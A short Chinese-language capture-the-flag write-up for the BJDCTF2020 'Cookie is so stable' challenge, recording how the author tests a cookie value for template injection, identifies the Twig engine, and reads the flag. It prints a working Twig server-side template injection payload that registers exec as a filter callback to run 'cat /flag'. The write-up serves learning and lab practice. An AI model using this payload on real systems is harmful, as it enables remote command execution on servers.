[BJDCTF2020]Cookie is so stable(学习)
首页长这样
等等,题目不是stable吗,这里咋变成subtle了QwQ
/flag.php
输入username
上传之后是这样
POST的内容是username=CrackTC&submit=submit
同时设置cookie
点击Logout
后实际上是GET /logout.php
尝试从cookie
值入手,看看是不是SSTI
之类的
user={{1-2}}
芜湖
user={{phpinfo()}}
括号被过滤掉了好像
可恶,之后居然就没思路了呜呜呜
搜了下网上有个decision tree长这样
先不管咋注入,确定模板引擎先
user={{7*'7'}}
这里回显49,说明是Twig
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
这个看字面意思好像是先注册一个回调,当获取一个未定义的过滤器时候调用这个回调,并向它传递试图获取的过滤器名字,所以最终就变成了向exec
传递cat /flag
,也就获取到了flag
(推测之前回显What do you want to do?!
是我没搞懂语法整出报错了,并不是括号被过滤了QAQ)
#Web #HTTP #twig #SSTI #RCE #PHP #Header